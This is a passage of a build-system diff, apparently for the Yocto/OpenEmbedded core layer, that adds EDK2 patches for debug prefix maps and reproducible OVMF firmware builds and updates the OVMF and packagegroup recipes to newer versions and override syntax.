index 0000000000..9e345f4dda
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0005-debug-prefix-map.patch
@@ -0,0 +1,104 @@
+From 860bb1979f3578bb83257076fe0f3bd33f9d68bf Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 14 Jun 2021 19:56:28 +0200
+Subject: [PATCH 5/6] debug prefix map
+
+We want to pass ${DEBUG_PREFIX_MAP} to gcc commands and also pass in
+ --debug-prefix-map to nasm (we carry a patch to nasm for this). The
+tools definitions file is built by ovmf-native so we need to pass this in
+at target build time when we know the right values so we use the environment.
+
+By using determininistc file paths during the ovmf build, it removes the
+opportunitity for gcc/ld to change the output binaries due to path lengths
+overflowing section sizes and causing small changes in the binary output.
+Previously we relied on the stripped output being the same which isn't always
+the case if the size of the debug symbols varies.
+
+Upstream-Status: Submitted [https://github.com/tianocore/edk2/pull/2202]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ BaseTools/Conf/tools_def.template | 18 +++++++++---------
+ 1 file changed, 9 insertions(+), 9 deletions(-)
+
+diff --git a/BaseTools/Conf/tools_def.template b/BaseTools/Conf/tools_def.template
+index 36241b6ede..947fbf2e8d 100755
+--- a/BaseTools/Conf/tools_def.template
++++ b/BaseTools/Conf/tools_def.template
+@@ -1863,7 +1863,7 @@ NOOPT_*_*_OBJCOPY_ADDDEBUGFLAG = --add-gnu-debuglink=$(DEBUG_DIR)/$(MODULE_N
+ *_*_*_DTCPP_PATH = DEF(DTCPP_BIN)
+ *_*_*_DTC_PATH = DEF(DTC_BIN)
+
+-DEFINE GCC_ALL_CC_FLAGS = -g -Os -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -include AutoGen.h -fno-common
++DEFINE GCC_ALL_CC_FLAGS = -g -Os -fshort-wchar -fno-builtin -fno-strict-aliasing -Wall -Werror -Wno-array-bounds -include AutoGen.h -fno-common ENV(GCC_PREFIX_MAP)
+ DEFINE GCC_IA32_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -m32 -malign-double -freorder-blocks -freorder-blocks-and-partition -O2 -mno-stack-arg-probe
+ DEFINE GCC_X64_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -mno-red-zone -Wno-address -mno-stack-arg-probe
+ DEFINE GCC_ARM_CC_FLAGS = DEF(GCC_ALL_CC_FLAGS) -mlittle-endian -mabi=aapcs -fno-short-enums -funsigned-char -ffunction-sections -fdata-sections -fomit-frame-pointer -Wno-address -mthumb -mfloat-abi=soft -fno-pic -fno-pie
+@@ -1881,8 +1881,8 @@ DEFINE GCC_IA32_X64_ASLDLINK_FLAGS = DEF(GCC_IA32_X64_DLINK_COMMON) --entry _Ref
+ DEFINE GCC_ARM_ASLDLINK_FLAGS = DEF(GCC_ARM_DLINK_FLAGS) -Wl,--entry,ReferenceAcpiTable -u $(IMAGE_ENTRY_POINT) DEF(GCC_ARM_AARCH64_ASLDLINK_FLAGS)
+ DEFINE GCC_AARCH64_ASLDLINK_FLAGS = DEF(GCC_AARCH64_DLINK_FLAGS) -Wl,--entry,ReferenceAcpiTable -u $(IMAGE_ENTRY_POINT) DEF(GCC_ARM_AARCH64_ASLDLINK_FLAGS)
+ DEFINE GCC_IA32_X64_DLINK_FLAGS = DEF(GCC_IA32_X64_DLINK_COMMON) --entry _$(IMAGE_ENTRY_POINT) --file-alignment 0x20 --section-alignment 0x20 -Map $(DEST_DIR_DEBUG)/$(BASE_NAME).map
+-DEFINE GCC_ASM_FLAGS = -c -x assembler -imacros AutoGen.h
+-DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include AutoGen.h
++DEFINE GCC_ASM_FLAGS = -c -x assembler -imacros AutoGen.h ENV(GCC_PREFIX_MAP)
++DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include AutoGen.h ENV(GCC_PREFIX_MAP)
+ DEFINE GCC_VFRPP_FLAGS = -x c -E -P -DVFRCOMPILE --include $(MODULE_NAME)StrDefs.h
+ DEFINE GCC_ASLPP_FLAGS = -x c -E -include AutoGen.h
+ DEFINE GCC_ASLCC_FLAGS = -x c
+@@ -2027,7 +2027,7 @@ DEFINE GCC_PP_FLAGS = -E -x assembler-with-cpp -include A
+ *_GCC48_IA32_DLINK2_FLAGS = DEF(GCC48_IA32_DLINK2_FLAGS)
+ *_GCC48_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC48_IA32_OBJCOPY_FLAGS =
+-*_GCC48_IA32_NASM_FLAGS = -f elf32
++*_GCC48_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Os
+ RELEASE_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Os -Wno-unused-but-set-variable
+@@ -2055,7 +2055,7 @@ RELEASE_GCC48_IA32_CC_FLAGS = DEF(GCC48_IA32_CC_FLAGS) -Os -Wno-unused-but
+ *_GCC48_X64_DLINK2_FLAGS = DEF(GCC48_X64_DLINK2_FLAGS)
+ *_GCC48_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC48_X64_OBJCOPY_FLAGS =
+-*_GCC48_X64_NASM_FLAGS = -f elf64
++*_GCC48_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC48_X64_CC_FLAGS = DEF(GCC48_X64_CC_FLAGS) -Os
+ RELEASE_GCC48_X64_CC_FLAGS = DEF(GCC48_X64_CC_FLAGS) -Os -Wno-unused-but-set-variable
+@@ -2167,7 +2167,7 @@ RELEASE_GCC48_AARCH64_CC_FLAGS = DEF(GCC48_AARCH64_CC_FLAGS) -Wno-unused-but-s
+ *_GCC49_IA32_DLINK2_FLAGS = DEF(GCC49_IA32_DLINK2_FLAGS)
+ *_GCC49_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC49_IA32_OBJCOPY_FLAGS =
+-*_GCC49_IA32_NASM_FLAGS = -f elf32
++*_GCC49_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Os
+ RELEASE_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Os -Wno-unused-but-set-variable -Wno-unused-const-variable
+@@ -2195,7 +2195,7 @@ RELEASE_GCC49_IA32_CC_FLAGS = DEF(GCC49_IA32_CC_FLAGS) -Os -Wno-unused-but
+ *_GCC49_X64_DLINK2_FLAGS = DEF(GCC49_X64_DLINK2_FLAGS)
+ *_GCC49_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC49_X64_OBJCOPY_FLAGS =
+-*_GCC49_X64_NASM_FLAGS = -f elf64
++*_GCC49_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC49_X64_CC_FLAGS = DEF(GCC49_X64_CC_FLAGS) -Os
+ RELEASE_GCC49_X64_CC_FLAGS = DEF(GCC49_X64_CC_FLAGS) -Os -Wno-unused-but-set-variable -Wno-unused-const-variable
+@@ -2313,7 +2313,7 @@ RELEASE_GCC49_AARCH64_DLINK_XIPFLAGS = -z common-page-size=0x20
+ *_GCC5_IA32_DLINK2_FLAGS = DEF(GCC5_IA32_DLINK2_FLAGS) -no-pie
+ *_GCC5_IA32_RC_FLAGS = DEF(GCC_IA32_RC_FLAGS)
+ *_GCC5_IA32_OBJCOPY_FLAGS =
+-*_GCC5_IA32_NASM_FLAGS = -f elf32
++*_GCC5_IA32_NASM_FLAGS = -f elf32 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC5_IA32_CC_FLAGS = DEF(GCC5_IA32_CC_FLAGS) -flto -Os
+ DEBUG_GCC5_IA32_DLINK_FLAGS = DEF(GCC5_IA32_X64_DLINK_FLAGS) -flto -Os -Wl,-m,elf_i386,--oformat=elf32-i386
+@@ -2345,7 +2345,7 @@ RELEASE_GCC5_IA32_DLINK_FLAGS = DEF(GCC5_IA32_X64_DLINK_FLAGS) -flto -Os -Wl,
+ *_GCC5_X64_DLINK2_FLAGS = DEF(GCC5_X64_DLINK2_FLAGS)
+ *_GCC5_X64_RC_FLAGS = DEF(GCC_X64_RC_FLAGS)
+ *_GCC5_X64_OBJCOPY_FLAGS =
+-*_GCC5_X64_NASM_FLAGS = -f elf64
++*_GCC5_X64_NASM_FLAGS = -f elf64 ENV(NASM_PREFIX_MAP)
+
+ DEBUG_GCC5_X64_CC_FLAGS = DEF(GCC5_X64_CC_FLAGS) -flto -DUSING_LTO -Os
+ DEBUG_GCC5_X64_DLINK_FLAGS = DEF(GCC5_X64_DLINK_FLAGS) -flto -Os
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf/0006-reproducible.patch b/meta/recipes-core/ovmf/ovmf/0006-reproducible.patch
new file mode 100644
index 0000000000..846f408012
--- /dev/null
+++ b/meta/recipes-core/ovmf/ovmf/0006-reproducible.patch
@@ -0,0 +1,180 @@
+From 27ed9962f5cb3afcc44d6c96c53277132a999712 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Mon, 14 Jun 2021 19:57:30 +0200
+Subject: [PATCH 6/6] reproducible
+
+This patch fixes various things which make the build more reproducible. Some changes
+here only change intermediate artefacts but that means when you have two build trees
+giving differing results, the differences can be isolated more easily. The issues here
+usually become apparent with longer paths.
+
+This was all debugged with:
+TMPDIR = "${TOPDIR}/tmp"
+vs.
+TMPDIR = "${TOPDIR}/tmp-inital-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath-mylongpath"
+
+The patch specifically:
+
+ * Sorts output in GNUmakefile
+ * Always generates indirect flags files used to avoid pathlength issues else the
+ compile commands suddenly change when using longer paths
+ * Sorts the AutoGenTimeStamp file contents
+ * Makes the TargetDescBlock objects from BuildEngine sortable to allow the makefile fix
+ * Fix ElfConvert within GenFw so that only the basename of the binary being converted
+ is used, else the output from "GenFw XXX.bin" differs from "GenFw /long/path/XXX.bin"
+ with sufficiently long paths
+
+Upstream-Status: Submitted [https://github.com/tianocore/edk2/pull/2176]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ BaseTools/Source/C/GenFw/Elf64Convert.c | 8 ++++---
+ .../Source/Python/AutoGen/BuildEngine.py | 3 +++
+ BaseTools/Source/Python/AutoGen/GenMake.py | 24 +++++++++----------
+ .../Source/Python/AutoGen/ModuleAutoGen.py | 5 +++-
+ 4 files changed, 24 insertions(+), 16 deletions(-)
+
+diff --git a/BaseTools/Source/C/GenFw/Elf64Convert.c b/BaseTools/Source/C/GenFw/Elf64Convert.c
+index d097db8632..a87ae6f3d0 100644
+--- a/BaseTools/Source/C/GenFw/Elf64Convert.c
++++ b/BaseTools/Source/C/GenFw/Elf64Convert.c
+@@ -14,6 +14,8 @@ SPDX-License-Identifier: BSD-2-Clause-Patent
+ #ifndef __GNUC__
+ #include <windows.h>
+ #include <io.h>
++#else
++#define _GNU_SOURCE
+ #endif
+ #include <assert.h>
+ #include <stdio.h>
+@@ -769,7 +771,7 @@ ScanSections64 (
+ }
+ mCoffOffset = mDebugOffset + sizeof(EFI_IMAGE_DEBUG_DIRECTORY_ENTRY) +
+ sizeof(EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY) +
+- strlen(mInImageName) + 1;
++ strlen(basename(mInImageName)) + 1;
+
+ mCoffOffset = CoffAlign(mCoffOffset);
+ if (SectionCount == 0) {
+@@ -1608,7 +1610,7 @@ WriteDebug64 (
+ EFI_IMAGE_DEBUG_DIRECTORY_ENTRY *Dir;
+ EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY *Nb10;
+
+- Len = strlen(mInImageName) + 1;
++ Len = strlen(basename(mInImageName)) + 1;
+
+ Dir = (EFI_IMAGE_DEBUG_DIRECTORY_ENTRY*)(mCoffFile + mDebugOffset);
+ Dir->Type = EFI_IMAGE_DEBUG_TYPE_CODEVIEW;
+@@ -1618,7 +1620,7 @@ WriteDebug64 (
+
+ Nb10 = (EFI_IMAGE_DEBUG_CODEVIEW_NB10_ENTRY*)(Dir + 1);
+ Nb10->Signature = CODEVIEW_SIGNATURE_NB10;
+- strcpy ((char *)(Nb10 + 1), mInImageName);
++ strcpy ((char *)(Nb10 + 1), basename(mInImageName));
+
+
+ NtHdr = (EFI_IMAGE_OPTIONAL_HEADER_UNION *)(mCoffFile + mNtHdrOffset);
+diff --git a/BaseTools/Source/Python/AutoGen/BuildEngine.py b/BaseTools/Source/Python/AutoGen/BuildEngine.py
+index 722fead75a..8f1c236970 100644
+--- a/BaseTools/Source/Python/AutoGen/BuildEngine.py
++++ b/BaseTools/Source/Python/AutoGen/BuildEngine.py
+@@ -70,6 +70,9 @@ class TargetDescBlock(object):
+ else:
+ return str(Other) == self.Target.Path
+
++ def __lt__(self, other):
++ return str(self) < str(other)
++
+ def AddInput(self, Input):
+ if Input not in self.Inputs:
+ self.Inputs.append(Input)
+diff --git a/BaseTools/Source/Python/AutoGen/GenMake.py b/BaseTools/Source/Python/AutoGen/GenMake.py
+index 961b2ab1c3..23c1592025 100755
+--- a/BaseTools/Source/Python/AutoGen/GenMake.py
++++ b/BaseTools/Source/Python/AutoGen/GenMake.py
+@@ -575,7 +575,7 @@ cleanlib:
+ os.remove(RespFileList)
+
+ # convert source files and binary files to build targets
+- self.ResultFileList = [str(T.Target) for T in MyAgo.CodaTargetList]
++ self.ResultFileList = sorted([str(T.Target) for T in MyAgo.CodaTargetList])
+ if len(self.ResultFileList) == 0 and len(MyAgo.SourceFileList) != 0:
+ EdkLogger.error("build", AUTOGEN_ERROR, "Nothing to build",
+ ExtraData="[%s]" % str(MyAgo))
+@@ -726,7 +726,7 @@ cleanlib:
+ OutputFile = ''
+ DepsFileList = []
+
+- for Cmd in self.GenFfsList:
++ for Cmd in sorted(self.GenFfsList):
+ if Cmd[2]:
+ for CopyCmd in Cmd[2]:
+ Src, Dst = CopyCmd
+@@ -759,7 +759,7 @@ cleanlib:
+ self.BuildTargetList.append('\t%s' % CmdString)
+
+ self.ParseSecCmd(DepsFileList, Cmd[1])
+- for SecOutputFile, SecDepsFile, SecCmd in self.FfsOutputFileList :
++ for SecOutputFile, SecDepsFile, SecCmd in sorted(self.FfsOutputFileList):
+ self.BuildTargetList.append('%s : %s' % (self.ReplaceMacro(SecOutputFile), self.ReplaceMacro(SecDepsFile)))
+ self.BuildTargetList.append('\t%s' % self.ReplaceMacro(SecCmd))
+ self.FfsOutputFileList = []
+@@ -798,13 +798,13 @@ cleanlib:
+
+ def CommandExceedLimit(self):
+ FlagDict = {
+- 'CC' : { 'Macro' : '$(CC_FLAGS)', 'Value' : False},
+- 'PP' : { 'Macro' : '$(PP_FLAGS)', 'Value' : False},
+- 'APP' : { 'Macro' : '$(APP_FLAGS)', 'Value' : False},
+- 'ASLPP' : { 'Macro' : '$(ASLPP_FLAGS)', 'Value' : False},
+- 'VFRPP' : { 'Macro' : '$(VFRPP_FLAGS)', 'Value' : False},
+- 'ASM' : { 'Macro' : '$(ASM_FLAGS)', 'Value' : False},
+- 'ASLCC' : { 'Macro' : '$(ASLCC_FLAGS)', 'Value' : False},
++ 'CC' : { 'Macro' : '$(CC_FLAGS)', 'Value' : True},
++ 'PP' : { 'Macro' : '$(PP_FLAGS)', 'Value' : True},
++ 'APP' : { 'Macro' : '$(APP_FLAGS)', 'Value' : True},
++ 'ASLPP' : { 'Macro' : '$(ASLPP_FLAGS)', 'Value' : True},
++ 'VFRPP' : { 'Macro' : '$(VFRPP_FLAGS)', 'Value' : True},
++ 'ASM' : { 'Macro' : '$(ASM_FLAGS)', 'Value' : True},
++ 'ASLCC' : { 'Macro' : '$(ASLCC_FLAGS)', 'Value' : True},
+ }
+
+ RespDict = {}
+@@ -1007,9 +1007,9 @@ cleanlib:
+ if not self.ObjTargetDict.get(T.Target.SubDir):
+ self.ObjTargetDict[T.Target.SubDir] = set()
+ self.ObjTargetDict[T.Target.SubDir].add(NewFile)
+- for Type in self._AutoGenObject.Targets:
++ for Type in sorted(self._AutoGenObject.Targets):
+ resp_file_number = 0
+- for T in self._AutoGenObject.Targets[Type]:
++ for T in sorted(self._AutoGenObject.Targets[Type]):
+ # Generate related macros if needed
+ if T.GenFileListMacro and T.FileListMacro not in self.FileListMacros:
+ self.FileListMacros[T.FileListMacro] = []
+diff --git a/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py b/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
+index d70b0d7ae8..25dca9a6df 100755
+--- a/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
++++ b/BaseTools/Source/Python/AutoGen/ModuleAutoGen.py
+@@ -1484,6 +1484,9 @@ class ModuleAutoGen(AutoGen):
+ for File in Files:
+ if File.lower().endswith('.pdb'):
+ AsBuiltInfDict['binary_item'].append('DISPOSABLE|' + File)
++
++ AsBuiltInfDict['binary_item'] = sorted(AsBuiltInfDict['binary_item'])
++
+ HeaderComments = self.Module.HeaderComments
+ StartPos = 0
+ for Index in range(len(HeaderComments)):
+@@ -1759,7 +1762,7 @@ class ModuleAutoGen(AutoGen):
+ if os.path.exists (self.TimeStampPath):
+ os.remove (self.TimeStampPath)
+
+- SaveFileOnChange(self.TimeStampPath, "\n".join(FileSet), False)
++ SaveFileOnChange(self.TimeStampPath, "\n".join(sorted(FileSet)), False)
+
+ # Ignore generating makefile when it is a binary module
+ if self.IsBinaryModule:
+--
+2.32.0
+
diff --git a/meta/recipes-core/ovmf/ovmf_git.bb b/meta/recipes-core/ovmf/ovmf_git.bb
index 04c4449ec2..9db1514acc 100644
--- a/meta/recipes-core/ovmf/ovmf_git.bb
+++ b/meta/recipes-core/ovmf/ovmf_git.bb
@@ -2,25 +2,30 @@ SUMMARY = "OVMF - UEFI firmware for Qemu and KVM"
DESCRIPTION = "OVMF is an EDK II based project to enable UEFI support for \
Virtual Machines. OVMF contains sample UEFI firmware for QEMU and KVM"
HOMEPAGE = "https://github.com/tianocore/tianocore.github.io/wiki/OVMF"
-LICENSE = "BSD-2-Clause"
-LICENSE_class-target = "${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'BSD & OpenSSL', 'BSD', d)}"
+LICENSE = "BSD-2-Clause-Patent"
+LICENSE:class-target = "${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'BSD-2-Clause-Patent & OpenSSL', 'BSD-2-Clause-Patent', d)}"
LIC_FILES_CHKSUM = "file://OvmfPkg/License.txt;md5=06357ddc23f46577c2aeaeaf7b776d65"
# Enabling Secure Boot adds a dependency on OpenSSL and implies
# compiling OVMF twice, so it is disabled by default. Distros
# may change that default.
PACKAGECONFIG ??= ""
+PACKAGECONFIG += "${@bb.utils.contains('MACHINE_FEATURES', 'tpm', 'tpm', '', d)}"
+PACKAGECONFIG += "${@bb.utils.contains('MACHINE_FEATURES', 'tpm2', 'tpm', '', d)}"
PACKAGECONFIG[secureboot] = ",,,"
+PACKAGECONFIG[tpm] = "-D TPM_ENABLE=TRUE,-D TPM_ENABLE=FALSE,,"
SRC_URI = "gitsm://github.com/tianocore/edk2.git;branch=master;protocol=https \
file://0001-ovmf-update-path-to-native-BaseTools.patch \
file://0002-BaseTools-makefile-adjust-to-build-in-under-bitbake.patch \
- file://0003-ovmf-enable-long-path-file.patch \
- file://0004-ovmf-Update-to-latest.patch \
- "
+ file://0003-ovmf-Update-to-latest.patch \
+ file://0005-debug-prefix-map.patch \
+ file://0006-reproducible.patch \
+ file://0001-Fix-VLA-parameter-warning.patch \
+ "
-PV = "edk2-stable202008"
-SRCREV = "06dc822d045c2bb42e497487935485302486e151"
+PV = "edk2-stable202111"
+SRCREV = "bb1bba3d776733c41dbfa2d1dc0fe234819a79f2"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>edk2-stable.*)"
inherit deploy
@@ -37,7 +42,7 @@ EDK_TOOLS_DIR="edk2_basetools"
BUILD_OPTIMIZATION="-pipe"
# OVMF supports IA only, although it could conceivably support ARM someday.
-COMPATIBLE_HOST_class-target='(i.86|x86_64).*'
+COMPATIBLE_HOST:class-target='(i.86|x86_64).*'
# Additional build flags for OVMF with Secure Boot.
# Fedora also uses "-D SMM_REQUIRE -D EXCLUDE_SHELL_FROM_FD".
@@ -49,7 +54,7 @@ export PYTHON_COMMAND = "${HOSTTOOLS_DIR}/python3"
do_patch[postfuncs] += "fix_basetools_location"
fix_basetools_location () {
}
-fix_basetools_location_class-target() {
+fix_basetools_location:class-target() {
# Replaces the fake path inserted by 0002-ovmf-update-path-to-native-BaseTools.patch.
# Necessary for finding the actual BaseTools from ovmf-native.
sed -i -e 's#BBAKE_EDK_TOOLS_PATH#${STAGING_BINDIR_NATIVE}/${EDK_TOOLS_DIR}#' ${S}/OvmfPkg/build.sh
@@ -58,7 +63,7 @@ fix_basetools_location_class-target() {
do_patch[postfuncs] += "fix_iasl"
fix_iasl() {
}
-fix_iasl_class-native() {
+fix_iasl:class-native() {
# iasl is not installed under /usr/bin when building with OE.
sed -i -e 's#/usr/bin/iasl#${STAGING_BINDIR_NATIVE}/iasl#' ${S}/BaseTools/Conf/tools_def.template
}
@@ -77,14 +82,14 @@ fix_toolchain() {
-e '/^VFR_CPPFLAGS/a CC = ${CC}\nCXX = ${CXX}\nAS = ${AS}\nAR = ${AR}\nLD = ${LD}' \
${S}/BaseTools/Source/C/VfrCompile/GNUmakefile
}
-fix_toolchain_append_class-native() {
+fix_toolchain:append:class-native() {
# This tools_def.template is going to be used by the target ovmf and
# defines which compilers to use. For the GCC toolchain definitions,
# that will be ${HOST_PREFIX}gcc. However, "make" doesn't need that
# prefix.
#
# Injecting ENV(HOST_PREFIX) matches exporting that value as env
- # variable in do_compile_class-target.
+ # variable in do_compile:class-target.
sed -i \
-e 's#\(ENV\|DEF\)(GCC.*_PREFIX)#ENV(HOST_PREFIX)#' \
-e 's#ENV(HOST_PREFIX)make#make#' \
@@ -101,9 +106,23 @@ fix_toolchain_append_class-native() {
# to make ovmf-native reusable across distros.
sed -i \
-e 's#^\(DEFINE GCC.*DLINK.*FLAGS *=\)#\1 -fuse-ld=bfd#' \
+ -e 's#-flto#-fno-lto#g' \
+ -e 's#-DUSING_LTO##g' \
${S}/BaseTools/Conf/tools_def.template
}
+# We disable lto above since the results are not reproducible and make it hard to compare
+# binary build aretfacts to debug reproducibility problems.
+# Surprisingly, if you disable lto, you see compiler warnings which are fatal. We therefore
+# have to hack warnings overrides into GCC_PREFIX_MAP to allow it to build.
+
+# We want to pass ${DEBUG_PREFIX_MAP} to gcc commands and also pass in
+# --debug-prefix-map to nasm (we carry a patch to nasm for this). The
+# tools definitions are built by ovmf-native so we need to pass this in
+# at target build time when we know the right values.
+export NASM_PREFIX_MAP = "--debug-prefix-map=${WORKDIR}=/usr/src/debug/ovmf/${EXTENDPE}${PV}-${PR}"
+export GCC_PREFIX_MAP = "${DEBUG_PREFIX_MAP} -Wno-stringop-overflow -Wno-maybe-uninitialized"
+
GCC_VER="$(${CC} -v 2>&1 | tail -n1 | awk '{print $3}')"
fixup_target_tools() {
@@ -133,11 +152,11 @@ fixup_target_tools() {
echo ${FIXED_GCCVER}
}
-do_compile_class-native() {
+do_compile:class-native() {
oe_runmake -C ${S}/BaseTools
}
-do_compile_class-target() {
+do_compile:class-target() {
export LFLAGS="${LDFLAGS}"
PARALLEL_JOBS="${@oe.utils.parallel_make_argument(d, '-n %d')}"
OVMF_ARCH="X64"
@@ -169,7 +188,7 @@ do_compile_class-target() {
bbnote "Building without Secure Boot."
rm -rf ${S}/Build/Ovmf$OVMF_DIR_SUFFIX
- ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER}
+ ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${PACKAGECONFIG_CONFARGS}
ln ${build_dir}/FV/OVMF.fd ${WORKDIR}/ovmf/ovmf.fd
ln ${build_dir}/FV/OVMF_CODE.fd ${WORKDIR}/ovmf/ovmf.code.fd
ln ${build_dir}/FV/OVMF_VARS.fd ${WORKDIR}/ovmf/ovmf.vars.fd
@@ -179,19 +198,19 @@ do_compile_class-target() {
# Repeat build with the Secure Boot flags.
bbnote "Building with Secure Boot."
rm -rf ${S}/Build/Ovmf$OVMF_DIR_SUFFIX
- ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${OVMF_SECURE_BOOT_FLAGS}
+ ${S}/OvmfPkg/build.sh $PARALLEL_JOBS -a $OVMF_ARCH -b RELEASE -t ${FIXED_GCCVER} ${PACKAGECONFIG_CONFARGS} ${OVMF_SECURE_BOOT_FLAGS}
ln ${build_dir}/FV/OVMF.fd ${WORKDIR}/ovmf/ovmf.secboot.fd
ln ${build_dir}/FV/OVMF_CODE.fd ${WORKDIR}/ovmf/ovmf.secboot.code.fd
ln ${build_dir}/${OVMF_ARCH}/EnrollDefaultKeys.efi ${WORKDIR}/ovmf/
fi
}
-do_install_class-native() {
+do_install:class-native() {
install -d ${D}/${bindir}/edk2_basetools
cp -r ${S}/BaseTools ${D}/${bindir}/${EDK_TOOLS_DIR}
}
-do_install_class-target() {
+do_install:class-target() {
# Content for UEFI shell iso. We install the EFI shell as
# bootx64/ia32.efi because then it can be started even when the
# firmware itself does not contain it.
@@ -208,19 +227,19 @@ do_install_class-target() {
#
# However, EnrollDefaultKeys.efi is only included when Secure Boot is enabled.
PACKAGES =+ "ovmf-shell-efi"
-FILES_ovmf-shell-efi = " \
+FILES:ovmf-shell-efi = " \
EnrollDefaultKeys.efi \
efi/ \
"
DEPLOYDEP = ""
-DEPLOYDEP_class-target = "qemu-system-native:do_populate_sysroot"
-DEPLOYDEP_class-target += " ${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'openssl-native:do_populate_sysroot', '', d)}"
+DEPLOYDEP:class-target = "qemu-system-native:do_populate_sysroot"
+DEPLOYDEP:class-target += " ${@bb.utils.contains('PACKAGECONFIG', 'secureboot', 'openssl-native:do_populate_sysroot', '', d)}"
do_deploy[depends] += "${DEPLOYDEP}"
do_deploy() {
}
-do_deploy_class-target() {
+do_deploy:class-target() {
# For use with "runqemu ovmf".
for i in \
ovmf \
diff --git a/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb b/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
index ae989011f4..9166a0851f 100644
--- a/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
+++ b/meta/recipes-core/packagegroups/nativesdk-packagegroup-sdk-host.bb
@@ -9,7 +9,9 @@ inherit packagegroup nativesdk
PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
-RDEPENDS_${PN} = "\
+# autoconf pulls in nativesdk-perl but perl-module-integer is needed to
+# build some recent linux kernels (5.14+) for arm
+RDEPENDS:${PN} = "\
nativesdk-pkgconfig \
nativesdk-qemu \
nativesdk-qemu-helper \
@@ -23,13 +25,14 @@ RDEPENDS_${PN} = "\
nativesdk-makedevs \
nativesdk-cmake \
nativesdk-meson \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'nativesdk-wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'nativesdk-wayland-tools nativesdk-wayland-dev', '', d)} \
nativesdk-sdk-provides-dummy \
nativesdk-bison \
nativesdk-flex \
+ nativesdk-perl-module-integer \
"
-RDEPENDS_${PN}_darwin = "\
+RDEPENDS:${PN}:darwin = "\
nativesdk-pkgconfig \
nativesdk-opkg \
nativesdk-libtool \
diff --git a/meta/recipes-core/packagegroups/packagegroup-base.bb b/meta/recipes-core/packagegroups/packagegroup-base.bb
index 90b79adfdc..7489ef61b0 100644
--- a/meta/recipes-core/packagegroups/packagegroup-base.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-base.bb
@@ -8,7 +8,6 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit packagegroup
-PROVIDES = "${PACKAGES}"
PACKAGES = ' \
packagegroup-base \
packagegroup-base-extended \
@@ -48,7 +47,7 @@ VIRTUAL-RUNTIME_keymaps ?= "keymaps"
#
# packagegroup-base contain stuff needed for base system (machine related)
#
-RDEPENDS_packagegroup-base = "\
+RDEPENDS:packagegroup-base = "\
packagegroup-distro-base \
packagegroup-machine-base \
\
@@ -80,7 +79,7 @@ RDEPENDS_packagegroup-base = "\
"
-RRECOMMENDS_packagegroup-base = "\
+RRECOMMENDS:packagegroup-base = "\
kernel-module-nls-utf8 \
kernel-module-input \
kernel-module-uinput \
@@ -89,7 +88,7 @@ RRECOMMENDS_packagegroup-base = "\
kernel-module-rtc-sysfs \
kernel-module-unix"
-RDEPENDS_packagegroup-base-extended = "\
+RDEPENDS:packagegroup-base-extended = "\
packagegroup-base \
${ADD_WIFI} \
${ADD_BT} \
@@ -125,67 +124,69 @@ python __anonymous () {
#
# packages added by distribution
#
-SUMMARY_packagegroup-distro-base = "${DISTRO} extras"
+SUMMARY:packagegroup-distro-base = "${DISTRO} extras"
DEPENDS_packagegroup-distro-base = "${DISTRO_EXTRA_DEPENDS}"
-RDEPENDS_packagegroup-distro-base = "${DISTRO_EXTRA_RDEPENDS}"
